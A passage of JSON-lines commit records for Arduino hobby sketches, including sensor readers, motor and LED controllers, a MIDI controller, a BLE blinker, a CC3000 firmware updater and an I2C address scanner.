X_AXIS_REV);\nDcMotor yMotor(Y_AXIS_PWM, Y_AXIS_FWD, Y_AXIS_REV);\nDcMotor zMotor(Z_AXIS_PWM, Z_AXIS_FWD, Z_AXIS_REV);\n\nvoid setup() {\n Serial.begin(BAUDRATE);\n xMotor.begin();\n yMotor.begin();\n zMotor.begin();\n}\n\nvoid loop() {\n}\n","subject":"Split motor definitions into multiple lines","message":"Split motor definitions into multiple lines\n","lang":"Arduino","license":"bsd-3-clause","repos":"ArchimedesPi\/plate-sampler,ArchimedesPi\/plate-sampler"} {"commit":"fddf08c9d2b9946e194738fd3c3e53ef188106e9","old_file":"firmware\/examples\/RFID_UART.ino","new_file":"firmware\/examples\/RFID_UART.ino","old_contents":"\/\/ RFID_UART.ino\n\n#if defined (SPARK)\n#include \"SeeedRFID\/SeeedRFID.h\"\n#else\n#include \n#include \n#endif\n\n#define RFID_RX_PIN 10\n#define RFID_TX_PIN 11\n\n\/\/ #define DEBUG\n#define TEST\n\nSeeedRFID RFID(RFID_RX_PIN, RFID_TX_PIN);\nRFIDdata tag;\n\nvoid setup() {\n\tSerial.begin(57600);\n\tSerial.println(\"Hello, double bk!\");\n}\n\nvoid loop() { \n\tif(RFID.isAvailable()){\n\t\ttag = RFID.data();\n\t\tSerial.print(\"RFID card number: \");\n\t\tSerial.println(RFID.cardNumber());\n#ifdef TEST\n\tSerial.print(\"RFID raw data: \");\n\tfor(int i=0; i\n#include \n#endif\n\n#define RFID_RX_PIN 10\n#define RFID_TX_PIN 11\n\n\/\/ #define DEBUG\n#define TEST\n\nSeeedRFID RFID(RFID_RX_PIN, RFID_TX_PIN);\nRFIDdata tag;\n\nvoid setup() {\n\tSerial1.begin(9600);\t\/\/Done here to prevent SeeedRFID constructor system crash\n\t\n\tSerial.begin(57600);\n\tSerial.println(\"Hello, double bk!\");\n}\n\nvoid loop() { \n\tif(RFID.isAvailable()){\n\t\ttag = RFID.data();\n\t\tSerial.print(\"RFID card number: \");\n\t\tSerial.println(RFID.cardNumber());\n#ifdef TEST\n\tSerial.print(\"RFID raw data: \");\n\tfor(int i=0; i\n\nconst int TRIGGER_PIN = 6; \/\/D6\nconst int ECHO_PIN = 7; \/\/D7\nSR04 front(TRIGGER_PIN, ECHO_PIN, 10);\n\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n Serial.println(front.getDistance());\n delay(100);\n}\n\n","new_contents":"#include \n\nconst int TRIGGER_PIN = 6; \/\/D6\nconst int ECHO_PIN = 7; \/\/D7\nconst unsigned int MAX_DISTANCE = 100;\nSR04 front(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE);\n\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n Serial.println(front.getDistance());\n delay(100);\n}\n\n","subject":"Adjust max sensor distance to something more suitable","message":"Adjust max sensor distance to something more suitable\n","lang":"Arduino","license":"mit","repos":"platisd\/smartcar_shield,platisd\/smartcar_shield"} {"commit":"3b4e45a8545bd26d6a1ac749415120f0d1a636c5","old_file":"laundry-dude-led-sensor\/laundry-dude-led-sensor.ino","new_file":"laundry-dude-led-sensor\/laundry-dude-led-sensor.ino","old_contents":"#include \n\n\/\/ Serial speed\n#define SERIAL_BAUDRATE 9600\n#define LIGHTSENSOR_PIN 3\n\n#define FETCH_INTERVAL 100\n#define POST_INTERVAL 5000\n\nconst int numLedSamples = POST_INTERVAL \/ FETCH_INTERVAL;\nint ledSamples[numLedSamples];\nint ledSampleCounter = 0;\n\nint light = 0;\n\n\/\/ Software serial for XBee module\nSoftwareSerial xbeeSerial(2, 3); \/\/ RX, TX\n\nvoid setup() {\n Serial.begin(SERIAL_BAUDRATE);\n xbeeSerial.begin(SERIAL_BAUDRATE);\n}\n\nvoid loop() {\n readLightsensor();\n\n if (ledSampleCounter >= numLedSamples)\n sendLightData();\n\n delay(FETCH_INTERVAL);\n}\n\nvoid readLightsensor() {\n int sample = analogRead(LIGHTSENSOR_PIN);\n Serial.print(\"d:\");Serial.println(sample); \n ledSamples[ledSampleCounter] = sample;\n ledSampleCounter++;\n}\n\nvoid sendLightData() {\n float avg = 0.0f;\n\n for (int i = 0; i < numLedSamples; i++)\n avg += ledSamples[i];\n\n avg \/= numLedSamples;\n\n xbeeSerial.print(\"l=\");xbeeSerial.println(avg);\n ledSampleCounter = 0;\n}\n","new_contents":"#include \n\n\/\/ Serial speed\n#define SERIAL_BAUDRATE 9600\n#define LIGHTSENSOR_PIN 3\n\n#define FETCH_INTERVAL 100\n#define POST_INTERVAL 5000\n\nconst int numLedSamples = POST_INTERVAL \/ FETCH_INTERVAL;\nint ledSamples[numLedSamples];\nint ledSampleCounter = 0;\n\nint light = 0;\n\n\/\/ Software serial for XBee module\nSoftwareSerial xbeeSerial(2, 3); \/\/ RX, TX\n\nvoid setup() {\n Serial.begin(SERIAL_BAUDRATE);\n xbeeSerial.begin(SERIAL_BAUDRATE);\n}\n\nvoid loop() {\n readLightsensor();\n\n if (ledSampleCounter >= numLedSamples)\n sendLightData();\n\n delay(FETCH_INTERVAL);\n}\n\nvoid readLightsensor() {\n ledSamples[ledSampleCounter] = analogRead(LIGHTSENSOR_PIN);\n ledSampleCounter++;\n ledSampleCounter %= numLedSamples;\n}\n\nvoid sendLightData() {\n float avg = 0.0f;\n\n for (int i = 0; i < numLedSamples; i++)\n avg += ledSamples[i];\n\n avg \/= numLedSamples;\n\n xbeeSerial.print(\"l=\");xbeeSerial.println(avg);\n}\n","subject":"Implement LED data as ringbuffer.","message":"[LedDude] Implement LED data as ringbuffer.\n\nSigned-off-by: Juri Berlanda <5bfdca9e82c53adb0603ce7083f4ba4f2da5cacf@hotmail.com>\n","lang":"Arduino","license":"mit","repos":"j-be\/laundry-dudes,j-be\/laundry-dudes,j-be\/laundry-dudes,j-be\/laundry-dudes,j-be\/laundry-dudes,j-be\/laundry-dudes"} {"commit":"a58056a7f401553a8b293979bb59de8371b4b144","old_file":"firmware\/midi_controller\/midi_controller.ino","new_file":"firmware\/midi_controller\/midi_controller.ino","old_contents":"","new_contents":"#include \n\n#define PIN_KEY_IN 2\n#define PIN_MIDI_OUT 3\n\nMIDI_CREATE_DEFAULT_INSTANCE();\n\nvoid setup()\n{\n pinMode(PIN_KEY_IN, INPUT);\n pinMode(PIN_MIDI_OUT, OUTPUT);\n \n MIDI.begin();\n}\n\nvoid loop()\n{\n \/\/ Read digital value from piano key\n int in_value = digitalRead(PIN_KEY_IN);\n \n \/\/ Output a tone if key was pressed\n if (in_value == HIGH) {\n MIDI.sendNoteOn(40, 127, 1); \/\/ Note 40 (E3), velocity 127, channel 1\n }\n \n \/\/ TODO: Come up with a way to choose which note to play based on which key\n \/\/ is being pressed.\n}\n","subject":"Add main MIDI controller sketch","message":"Add main MIDI controller sketch\n","lang":"Arduino","license":"mit","repos":"SIGMusic\/Grand-Piano,SIGMusic\/Grand-Piano,SIGMusic\/Grand-Piano,SIGMusic\/Grand-Piano"} {"commit":"fb1da1bc724106e422bdfc775b89c5bb991d9271","old_file":"Photon\/IoTlib\/examples\/nothing\/nothing.ino","new_file":"Photon\/IoTlib\/examples\/nothing\/nothing.ino","old_contents":"","new_contents":"\/******************************************************************\nExample starting point sketch for ParticleIoT library\n\nThis example contains no devices.\nIt is provided for comparison with other example sketches.\n\nhttp:\/\/www.github.com\/rlisle\/ParticleIoT\n\nWritten by Ron Lisle\n\nBSD license, check LICENSE for more information.\nAll text above must be included in any redistribution.\n\nChangelog:\n2017-03-11: Initial creation\n******************************************************************\/\n\n\/****************\/\n\/*** INCLUDES ***\/\n\/****************\/\n#include \n\n\/*****************\/\n\/*** VARIABLES ***\/\n\/*****************\/\nIoT *iot;\n\n\/*************\/\n\/*** SETUP ***\/\n\/*************\/\nvoid setup() {\n iot = IoT::getInstance();\n iot->setControllerName(\"lislerv\");\n iot->setPublishName(\"RonTest\");\n iot->begin();\n}\n\n\/************\/\n\/*** LOOP ***\/\n\/************\/\nvoid loop() {\n long currentMillis = millis();\n iot->loop(currentMillis);\n}\n","subject":"Add example with no devices","message":"Add example with no devices\n","lang":"Arduino","license":"mit","repos":"rlisle\/Patriot,rlisle\/Patriot,rlisle\/Patriot,rlisle\/ParticleIoT,rlisle\/Patriot,rlisle\/ParticleIoT,rlisle\/ParticleIoT"} {"commit":"1e73286fa7edb590823fd630b1c3b46fbd682132","old_file":"Xmas2013\/WavyWavy\/WavyWavy.ino","new_file":"Xmas2013\/WavyWavy\/WavyWavy.ino","old_contents":"","new_contents":"\n#include \n\n\/\/#define TWO_STRINGS\n\n#ifdef TWO_STRINGS\n #define LIGHT_COUNT 50\n #define G35_PIN1 9\n #define G35_PIN2 10\n G35String lights1(G35_PIN1, LIGHT_COUNT);\n G35String lights2(G35_PIN2, LIGHT_COUNT);\n const int middle = 0;\n#else\n #define LIGHT_COUNT 49\n #define G35_PIN 9\n G35String lights(G35_PIN, LIGHT_COUNT);\n const int middle = LIGHT_COUNT\/2;\n#endif\n\n\/\/ Simple function to get amount of RAM free\nint freeRam () {\n extern int __heap_start, *__brkval; \n int v; \n return (int) &v - (__brkval == 0 ? (int) &__heap_start : (int) __brkval); \n}\n\n\/\/ Colour table for rainbow\nconst int COLOURS[] = {COLOR_BLUE, COLOR_RED, COLOR_ORANGE, COLOR_YELLOW, COLOR_GREEN};\nconst int NCOLOURS = sizeof(COLOURS)\/sizeof(int);\n\n\/\/ Counter - to insert a long pause, occasionally\nint pause = 0;\n\n\/\/ Width of half a string\nconst float width = (float) LIGHT_COUNT\/2.0;\n\n\/\/ 2*pi, roughly\nconst float twoPi = 6.283185;\n\n\/\/ pre-compute 2*pi\/(half of LIGHT_COUNT)\nconst float mul = 2.0*twoPi\/(float) LIGHT_COUNT;\n\nint getIntensity(const int bulb, const int centre) {\n float x = mul * (float) (bulb-centre);\n return int(G35::MAX_INTENSITY*(0.95*abs(sin(x))+0.05));\n}\n\nvoid setup() {\n Serial.begin (115200);\n Serial.println(freeRam());\n#ifdef TWO_STRINGS\n lights1.enumerate();\n lights2.enumerate();\n#else\n lights.enumerate();\n#endif\n}\n\nvoid loop() {\n int offset = 0;\n for (int colIndex=0; colIndex cbc;\n\n\nbyte sourcePool[SAMPLE_SIZE];\n \nvoid setup()\n{\n Serial.begin(115200);\n \/\/Set B pins to input\n DDRB = B00000000;\n delay(1000);\n \n} \n\n\nvoid loop() {\n static byte currentByte = 0x00; \n byte pinVal = (PINB >> 3) & B00000001;\n boolean byteReady = collectBit(pinVal, ¤tByte);\n \n if (byteReady){\n \/\/Serial.println(\"ByteCollected\");\n boolean poolFull = collectByte(currentByte);\n if (poolFull){\n conditionPool();\n \/\/Serial.write(sourcePool, SAMPLE_SIZE);\n }\n currentByte = 0;\n }\n}\n\n\/\/@return true if byte is full\/complete\nboolean collectBit(byte inputBit, byte *currentByte){\n static int bitCounter = 0;\n *currentByte |= inputBit << bitCounter;\n bitCounter = ++bitCounter % 8;\n \n if (bitCounter == 0) {\n return true;\n }\n return false;\n}\n\n\/\/@return true if sourcePool is full\nboolean collectByte(byte currentByte){\n static int byteCount = 0;\n sourcePool[byteCount] = currentByte;\n byteCount = ++byteCount % SAMPLE_SIZE;\n \/\/Serial.println(byteCount);\n\n if (byteCount == 0){\n return true;\n }\n return false;\n}\n \n \/\/TODO: this should return encrypted pool, and mac should\n \/\/be sent in the calling function\nvoid conditionPool(){\n \/\/Serial.println(\"Conditioning\");\n static byte iv[BLOCK_SIZE] = {0};\n byte output[SAMPLE_SIZE];\n cbc.clear();\n cbc.setKey(key, 16);\n cbc.setIV(iv, 16);\n cbc.encrypt(output, sourcePool, SAMPLE_SIZE);\n \n \/\/advance pointer to last block (the MAC)\n byte *outBuf = &output[SAMPLE_SIZE - BLOCK_SIZE]; \n Serial.write(outBuf, BLOCK_SIZE);\n}\n\n","subject":"Add v0.2.0 conditioning Arduino source","message":"Add v0.2.0 conditioning Arduino source\n","lang":"Arduino","license":"mit","repos":"robseward\/Ziffer"} {"commit":"1778f83e1eeb1bcaec51c661e18be3fabdcc3e2a","old_file":"arduino-code\/BMP085test.ino","new_file":"arduino-code\/BMP085test.ino","old_contents":"","new_contents":"#include \n#include \n\n\/*************************************************** \n This is an example for the BMP085 Barometric Pressure & Temp Sensor\n\n Designed specifically to work with the Adafruit BMP085 Breakout \n ----> https:\/\/www.adafruit.com\/products\/391\n\n These displays use I2C to communicate, 2 pins are required to \n interface\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n\/\/ Connect VCC of the BMP085 sensor to 3.3V (NOT 5.0V!)\n\/\/ Connect GND to Ground\n\/\/ Connect SCL to i2c clock - on '168\/'328 Arduino Uno\/Duemilanove\/etc thats Analog 5\n\/\/ Connect SDA to i2c data - on '168\/'328 Arduino Uno\/Duemilanove\/etc thats Analog 4\n\/\/ EOC is not used, it signifies an end of conversion\n\/\/ XCLR is a reset pin, also not used here\n\nAdafruit_BMP085 bmp;\n \nvoid setup() {\n Serial.begin(9600);\n if (!bmp.begin()) {\n\tSerial.println(\"Could not find a valid BMP085 sensor, check wiring!\");\n\twhile (1) {}\n }\n}\n \nvoid loop() {\n Serial.print(\"Temperature = \");\n Serial.print(bmp.readTemperature());\n Serial.println(\" *C\");\n \n Serial.print(\"Pressure = \");\n Serial.print(bmp.readPressure());\n Serial.println(\" Pa\");\n \n \/\/ Calculate altitude assuming 'standard' barometric\n \/\/ pressure of 1013.25 millibar = 101325 Pascal\n Serial.print(\"Altitude = \");\n Serial.print(bmp.readAltitude());\n Serial.println(\" meters\");\n\n Serial.print(\"Pressure at sealevel (calculated) = \");\n Serial.print(bmp.readSealevelPressure());\n Serial.println(\" Pa\");\n\n \/\/ you can get a more precise measurement of altitude\n \/\/ if you know the current sea level pressure which will\n \/\/ vary with weather and such. If it is 1015 millibars\n \/\/ that is equal to 101500 Pascals.\n Serial.print(\"Real altitude = \");\n Serial.print(bmp.readAltitude(101500));\n Serial.println(\" meters\");\n \n Serial.println();\n delay(500);\n}","subject":"Add boilerplate .ino to implement the baro sensor","message":"Add boilerplate .ino to implement the baro sensor\n","lang":"Arduino","license":"mit","repos":"nolanholden\/geovis,nolanholden\/payload-level1-rocket,nolanholden\/geovis,nolanholden\/geovis"} {"commit":"429cdf993a0f61c09dcae0038936aae3794a0826","old_file":"src\/samples\/feather-ble\/bt-blinker\/bt-blinker.ino","new_file":"src\/samples\/feather-ble\/bt-blinker\/bt-blinker.ino","old_contents":"","new_contents":"#include \n#include \n#if not defined (_VARIANT_ARDUINO_DUE_X_) && not defined (_VARIANT_ARDUINO_ZERO_)\n #include \n#endif\n\n#include \"Adafruit_BLE.h\"\n#include \"Adafruit_BluefruitLE_SPI.h\"\n#include \"Adafruit_BluefruitLE_UART.h\"\n\n#include \"BluefruitConfig.h\"\n\nstatic const int PIN = 5;\n\nAdafruit_BluefruitLE_SPI ble(BLUEFRUIT_SPI_CS, BLUEFRUIT_SPI_IRQ, BLUEFRUIT_SPI_RST);\n\nvoid setup() {\n pinMode(PIN, OUTPUT);\n boolean debug = false;\n ble.begin(debug);\n ble.echo(false);\n while (!ble.isConnected()) {\n delay(500);\n }\n ble.setMode(BLUEFRUIT_MODE_DATA);\n digitalWrite(PIN, HIGH);\n}\n\n\/\/ note that Bluefruit LE client adds NL when SEND button is pressed\nvoid loop() {\n if (ble.available()) {\n int c = ble.read();\n if (c != -1 && c != 0x0A) {\n digitalWrite(PIN, (char)c == 'a' ? HIGH : LOW);\n }\n }\n}\n\n","subject":"Add sample for simple bluetooth data.","message":"Add sample for simple bluetooth data.\n","lang":"Arduino","license":"mit","repos":"fweiss\/badge,fweiss\/badge"} {"commit":"bb68874144810438c45155347fb91ad9de2382ff","old_file":"hardware_interface\/hardware_interface.ino","new_file":"hardware_interface\/hardware_interface.ino","old_contents":"","new_contents":"#include \n\nint fricken_laser = 7;\nServo s1;\nServo s2;\n\n\/\/ for printf\nint my_putc(char c, FILE *t)\n{\n Serial.write(c);\n}\n\nvoid setup()\n{\n fdevopen(&my_putc, 0); \n Serial.begin(57600);\n Serial.setTimeout(1000);\n s2.attach(3);\n s1.attach(9);\n pinMode(fricken_laser, OUTPUT);\n}\n\nvoid loop()\n{\n char buf[10];\n int num_read = 0;\n memset(buf,0,sizeof(buf));\n num_read = Serial.readBytesUntil('\\n',buf,10);\n if (num_read == 10)\n {\n int pos1 = 0;\n int pos2 = 0;\n int laser_on = 0;\n sscanf(buf,\"%d,%d,%d\\n\",&pos1,&pos2,&laser_on);\n s1.write(pos1);\n s2.write(pos2);\n digitalWrite(fricken_laser,laser_on ? LOW : HIGH);\n printf(\"p1: %d p2: %d laser: %d\\n\",pos1,pos2,laser_on);\n }\n}\n\n\/\/ samples datas\n\/\/ 100,100,1\n\n\/\/ 150,100,0\n\r\n","subject":"Add arduino code to run interface to robot.","message":"Add arduino code to run interface to robot.\n","lang":"Arduino","license":"mit","repos":"Defconbots\/2014_Reference_Robot"} {"commit":"7f22c6c6eab3848605f44acec40c6d688804dfef","old_file":"libraries\/SimplelinkWifi\/examples\/CC3000FirwareUpdate\/CC3000FirwareUpdate.ino","new_file":"libraries\/SimplelinkWifi\/examples\/CC3000FirwareUpdate\/CC3000FirwareUpdate.ino","old_contents":"","new_contents":"\/*\n\n This Sketch will update the firmware of the CC3000 to \n a version that works with this library.\n The fimware update takes about 10. If the upgrade is successfull\n the RED and GREEN LEDs will flash.\n \n Circuit:\n * WiFi BoosterPack\n \n Created: October 24, 2013 by Robert Wessels (http:\/\/energia.nu)\n *\/\n\n#include \n#include \n\nvoid setup() {\n Serial.begin(115200);\n \/\/ Gives you time to open the Serial monitor\n delay(5000);\n\n \/\/ Initialize the LEDs and turn them OFF\n pinMode(RED_LED, OUTPUT);\n pinMode(GREEN_LED, OUTPUT);\n digitalWrite(RED_LED, LOW);\n digitalWrite(GREEN_LED, LOW);\n\n \/\/ Set the CC3000 pins\n WiFi.setCSpin(18); \/\/ 18: P2_2 @ F5529, PE_0 @ LM4F\/TM4C\n WiFi.setENpin(2); \/\/ 2: P6_5 @ F5529, PB_5 @ LM4F\/TM4C\n WiFi.setIRQpin(19); \/\/ 19: P2_0 @ F5529, PB_2 @ LM4F\/TM4C\n\n Serial.println(\"Updating CC3000 Firmware\");\n Serial.println(\"RED and GREEN LED's will flash when complete\");\n\n \/\/ Initialize the CC3000\n WiFi.begin();\n \n \/\/ Begin firmware update\n WiFi.updateFirmware();\n \n Serial.println(\"Firmware update success :-)\");\n \n \/\/ Print the new firmware version\n printFirmwareVersion();\n}\n\nuint8_t state = 0;\n\nvoid loop() {\n state = !state;\n digitalWrite(RED_LED, state);\n digitalWrite(GREEN_LED, !state);\n delay(500);\n}\n\nvoid printFirmwareVersion() {\n uint8_t *ver = WiFi.firmwareVersion();\n Serial.print(\"Version: \");\n Serial.print(ver[0]);\n Serial.print(\".\");\n Serial.println(ver[1]); \n}\n","subject":"Add CC3000 Firmware update Sketch","message":"Add CC3000 Firmware update Sketch\n","lang":"Arduino","license":"lgpl-2.1","repos":"qtonthat\/Energia,brianonn\/Energia,vigneshmanix\/Energia,cevatbostancioglu\/Energia,qtonthat\/Energia,croberts15\/Energia,sanyaade-iot\/Energia,sanyaade-iot\/Energia,cevatbostancioglu\/Energia,croberts15\/Energia,dvdvideo1234\/Energia,DavidUser\/Energia,brianonn\/Energia,bobintornado\/Energia,NoPinky\/Energia,cevatbostancioglu\/Energia,martianmartin\/Energia,vigneshmanix\/Energia,NoPinky\/Energia,NoPinky\/Energia,sanyaade-iot\/Energia,bobintornado\/Energia,NoPinky\/Energia,battosai30\/Energia,danielohh\/Energia,battosai30\/Energia,sanyaade-iot\/Energia,bobintornado\/Energia,qtonthat\/Energia,dvdvideo1234\/Energia,radiolok\/Energia,croberts15\/Energia,battosai30\/Energia,dvdvideo1234\/Energia,DavidUser\/Energia,cevatbostancioglu\/Energia,martianmartin\/Energia,vigneshmanix\/Energia,danielohh\/Energia,battosai30\/Energia,bobintornado\/Energia,sanyaade-iot\/Energia,cevatbostancioglu\/Energia,martianmartin\/Energia,croberts15\/Energia,croberts15\/Energia,bobintornado\/Energia,croberts15\/Energia,cevatbostancioglu\/Energia,brianonn\/Energia,croberts15\/Energia,bobintornado\/Energia,battosai30\/Energia,vigneshmanix\/Energia,battosai30\/Energia,DavidUser\/Energia,martianmartin\/Energia,radiolok\/Energia,brianonn\/Energia,bobintornado\/Energia,martianmartin\/Energia,battosai30\/Energia,radiolok\/Energia,sanyaade-iot\/Energia,dvdvideo1234\/Energia,dvdvideo1234\/Energia,martianmartin\/Energia,DavidUser\/Energia,qtonthat\/Energia,radiolok\/Energia,radiolok\/Energia,DavidUser\/Energia,NoPinky\/Energia,vigneshmanix\/Energia,danielohh\/Energia,danielohh\/Energia,brianonn\/Energia,cevatbostancioglu\/Energia,NoPinky\/Energia,brianonn\/Energia,vigneshmanix\/Energia,brianonn\/Energia,DavidUser\/Energia,danielohh\/Energia,danielohh\/Energia,radiolok\/Energia,sanyaade-iot\/Energia,vigneshmanix\/Energia,martianmartin\/Energia,dvdvideo1234\/Energia,danielohh\/Energia,qtonthat\/Energia,qtonthat\/Energia,radiolok\/Energia,NoPinky\/Energia,qtonthat\/Energia,DavidUser\/Energia,dvdvideo1234\/Energia"} {"commit":"817d26d582e7cfdfc89bdce684d1f2a980a43fdd","old_file":"vor-arduino\/vor-arduino.ino","new_file":"vor-arduino\/vor-arduino.ino","old_contents":"","new_contents":"#include \n#include \n\n#include \"Arduino-Websocket\/WebSocketClient.h\"\n\n#include \"vor_utils.h\"\n#include \"vor_env.h\"\n#include \"vor_led.h\"\n#include \"vor_motion.h\"\n#include \"vor_methane.h\"\n\n#define MAX_ATTEMPTS 10\n#define INTERVAL 30000\n#define HEARTBEAT_INTERVAL 25000\n\n#define MOTION_PIN 2\n#define METHANE_PIN A0\n\n#define MESSAGE_FORMAT \"42[\\\"message\\\",{\\\"id\\\":\\\"toilet8am\\\",\\\"type\\\":\\\"toilet\\\",\\\"reserved\\\":%s,\\\"methane\\\":%s}]\"\n\nBridgeClient client;\nWebSocketClient ws(SERVER_URL);\n\nVorLed led;\nVorMotion motion(MOTION_PIN);\nVorMethane methane(METHANE_PIN);\n\nint prevMotionValue = HIGH;\n\nuint64_t heartbeatTimestamp = 0;\nuint64_t intervalTimestamp = 0;\n\nuint8_t attempts = 0;\nbool wifiRestarted = false;\nbool lininoRebooted = false;\n\nvoid setup() {\n Serial.begin(115200);\n bridge();\n}\n\nvoid loop() {\n if (client.connected()) {\n uint64_t now = millis();\n int motionValue = motion.read();\n float methaneValue = methane.readProcessed();\n bool change = prevMotionValue != motionValue;\n prevMotionValue = motionValue;\n bool reservedValue = motionValue == LOW;\n if (change || now - intervalTimestamp > INTERVAL) {\n intervalTimestamp = now;\n\n const char* reserved = reservedValue ? \"true\" : \"false\";\n char methane[8];\n dtostrf(methaneValue, 8, 2, methane);\n char message[128];\n sprintf(message, MESSAGE_FORMAT, reserved, methane);\n ws.sendData(message);\n }\n if ((now - heartbeatTimestamp) > HEARTBEAT_INTERVAL) {\n heartbeatTimestamp = now;\n ws.sendData(\"2\");\n \/\/ TODO: check server response\n }\n } else {\n led.turnOn();\n Serial.println(0);\n if (!client.connect(SERVER_URL, SERVER_PORT)) {\n if (!wifiRestarted) {\n writeLog(\"Restarting Wi-Fi\");\n connectToWifi(WIFI_SSID, WIFI_ENCRYPTION, WIFI_PASSWORD);\n delay(60000);\n wifiRestarted = true;\n } else if (!lininoRebooted) {\n writeLog(\"Rebooting Linino\");\n resetAndRebootLinino();\n bridge();\n lininoRebooted = true;\n } else {\n writeLog(\"Resetting Arduino\");\n resetArduino();\n }\n } else {\n wifiRestarted = false;\n lininoRebooted = false;\n if (ws.handshake(client)) {\n ws.sendData(\"5\");\n \/\/ TODO: check server response\n led.turnOff();\n }\n }\n }\n}\n\nvoid bridge() {\n led.turnOn();\n delay(60000); \/\/ wait until linino has booted\n Bridge.begin();\n led.turnOff();\n}\n","subject":"Add test sketch (to be removed).","message":"Add test sketch (to be removed).\n","lang":"Arduino","license":"mit","repos":"futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor"} {"commit":"570971c9bac424fbe132f226abd7edff3be51ea6","old_file":"Slave_Orig_bkp\/Slave_Orig_bkp.ino","new_file":"Slave_Orig_bkp\/Slave_Orig_bkp.ino","old_contents":"","new_contents":"\/*\n * Temperature Sensor Displayed on 4 Digit 7 segment common anode\n * Created by Rui Santos, http:\/\/randomnerdtutorials.com\n*\/\n\nconst int digitPins[4] = {\n 4,5,6,7}; \/\/4 common anode pins of the display\nconst int clockPin = 11; \/\/74HC595 Pin 11 \nconst int latchPin = 12; \/\/74HC595 Pin 12\nconst int dataPin = 13; \/\/74HC595 Pin 14\nconst int tempPin = A0; \/\/temperature sensor pin\nconst byte digit[10] = \/\/seven segment digits in bits\n{\n B00111111, \/\/0\n B00000110, \/\/1\n B01011011, \/\/2\n B01001111, \/\/3\n B01100110, \/\/4\n B01101101, \/\/5\n B01111101, \/\/6\n B00000111, \/\/7\n B01111111, \/\/8\n B01101111 \/\/9\n};\nint digitBuffer[4] = {\n 0};\nint digitScan = 0;\n \nvoid setup(){ \n for(int i=0;i<4;i++)\n {\n pinMode(digitPins[i],OUTPUT);\n }\n pinMode(latchPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n pinMode(dataPin, OUTPUT);\n}\n \n\/\/writes the temperature on display\nvoid updateDisp(){\n for(byte j=0; j<4; j++) \n digitalWrite(digitPins[j], LOW);\n \n digitalWrite(latchPin, LOW); \n shiftOut(dataPin, clockPin, MSBFIRST, B11111111);\n digitalWrite(latchPin, HIGH);\n \n delayMicroseconds(100);\n digitalWrite(digitPins[digitScan], HIGH); \n \n digitalWrite(latchPin, LOW); \n if(digitScan==2)\n shiftOut(dataPin, clockPin, MSBFIRST, ~(digit[digitBuffer[digitScan]] | B10000000)); \/\/print the decimal point on the 3rd digit\n else\n shiftOut(dataPin, clockPin, MSBFIRST, ~digit[digitBuffer[digitScan]]);\n \n digitalWrite(latchPin, HIGH);\n digitScan++;\n if(digitScan>3) digitScan=0; \n}\n \nvoid loop(){ \n digitBuffer[3] = 2;\n digitBuffer[2] = 2;\n digitBuffer[1] = 2;\n digitBuffer[0] = 2;\n updateDisp();\n delay(2);\n}\n","subject":"Backup of Working Slave Code","message":"Backup of Working Slave Code\n","lang":"Arduino","license":"mit","repos":"acidphyx\/Arduino"} {"commit":"4de1cab9ec8252991c8ebee9e09f697dd6f28d68","old_file":"examples\/ListDevices\/ListDevices.ino","new_file":"examples\/ListDevices\/ListDevices.ino","old_contents":"","new_contents":"#include \n#include \n\nSoftWire sw(SDA, SCL);\n\nvoid setup(void)\n{\n Serial.begin(9600);\n sw.setTimeout_ms(40);\n sw.begin();\n\n pinMode(LED_BUILTIN, OUTPUT);\n digitalWrite(LED_BUILTIN, LOW);\n\n \/\/ Set how long we are willing to wait for a device to respond\n sw.setTimeout_ms(200);\n\n const uint8_t firstAddr = 1;\n const uint8_t lastAddr = 0x7F;\n Serial.println();\n Serial.print(\"Interrogating all addresses in range 0x\");\n Serial.print(firstAddr, HEX);\n Serial.print(\" - 0x\");\n Serial.print(lastAddr, HEX);\n Serial.println(\" (inclusive) ...\");\n \n for (uint8_t addr = firstAddr; addr <= lastAddr; addr++) {\n digitalWrite(LED_BUILTIN, HIGH);\n delayMicroseconds(10);\n \n uint8_t startResult = sw.llStart((addr << 1) + 1); \/\/ Signal a read\n sw.stop();\n \n if (startResult == 0) {\n Serial.print(\"\\rDevice found at 0x\");\n Serial.println(addr, HEX);\n Serial.flush();\n }\n digitalWrite(LED_BUILTIN, LOW);\n \n delay(50);\n }\n Serial.println(\"Finished\");\n\n}\n\nvoid loop(void)\n{\n ;\n}\n","subject":"Add example to list all addresses where a device is present.","message":"Add example to list all addresses where a device is present.\n","lang":"Arduino","license":"lgpl-2.1","repos":"stevemarple\/SoftWire"} {"commit":"99563bd2559b3a0fd4a4eaea7ae041c5c29c056b","old_file":"payload\/my-payload.ino","new_file":"payload\/my-payload.ino","old_contents":"","new_contents":"#include \n#include \"Adafruit_BMP085.h\"\n\n\/* \n * BMP180 setup instructions:\n * ----------------------------------------\n * Connect BMP180 V-in to 3.3V (NOT 5.0V)\n * Connect BMP180 GND to Ground\n * Connect BMP180 SCL to Analog 5\n * Connect BMP180 SDA to Analog 4\n * ----------------------------------------\n*\/\n\nAdafruit_BMP085 barometer;\n \nvoid setup() {\n Serial.begin(9600); \/\/ 9600 bits\/second\n if (!barometer.begin()) {\n \tSerial.println(\"No BMP085 sensor found.\");\n \twhile (1) { \/* Trap the thread. *\/ }\n }\n}\n \nvoid printBaroData() {\n \n \/\/ Get temperature.\n Serial.print(\"Temperature = \");\n Serial.print(barometer.readTemperature());\n Serial.println(\" *C\");\n\n \/\/ Get pressure at sensor.\n Serial.print(\"Pressure = \");\n Serial.print(barometer.readPressure());\n Serial.println(\" Pa\");\n\n \/\/ Calculate pressure at 0 MSL. (0 meters mean sea-level)\n Serial.print(\"Calculated pressure at 0 MSL = \");\n Serial.print(barometer.readSealevelPressure());\n Serial.println(\" Pa\");\n\n \/\/ Get pressure altitude:\n \/\/ altitude with (default) altimeter setting at 101325 Pascals == 1013.25 millibars\n \/\/ == 29.92 inches mercury (i.e., std. pressure)\n Serial.print(\"Pressure altitude = \");\n Serial.print(barometer.readAltitude());\n Serial.println(\" meters\");\n\n \/\/ TODO:\n \/\/ Density altitude: pressure altitude corrected for nonstandard temperature\n \/\/ High density altitude (High, Hot, and Humid) means 